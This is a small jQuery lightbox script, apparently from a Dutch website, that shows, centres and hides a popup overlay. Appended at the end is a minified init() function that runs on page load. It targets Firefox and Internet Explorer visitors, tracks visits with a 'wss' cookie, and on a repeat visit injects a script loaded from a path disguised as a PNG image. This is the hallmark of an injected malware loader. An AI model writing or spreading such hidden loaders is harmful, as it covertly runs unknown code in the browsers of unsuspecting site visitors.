// JavaScript Document
var lightActive = false;

function loadLight(){
	if(lightActive==false){
		$("#lightBack").css({
			"opacity": "0.7"
		});
		$("#inhoudLight").css({
			"opacity": "1"
		});
		$("#lightBack").fadeIn("slow");
		$("#inhoudLight").fadeIn("slow");
		
		lightActive = true;
	}
}

function centerPopup(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#inhoudLight").height();
	var popupWidth = $("#inhoudLight").width();
	//centering
	$("#inhoudLight").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#lightBack").css({
		"height": windowHeight
	});
	
}

function disablePopup(){
	//disables popup only if it is enabled
	if(lightActive==true){
			$("#lightBack").fadeOut("slow");
		$("#inhoudLight").fadeOut("slow");
		lightActive = false;
	}
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/sluiten.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
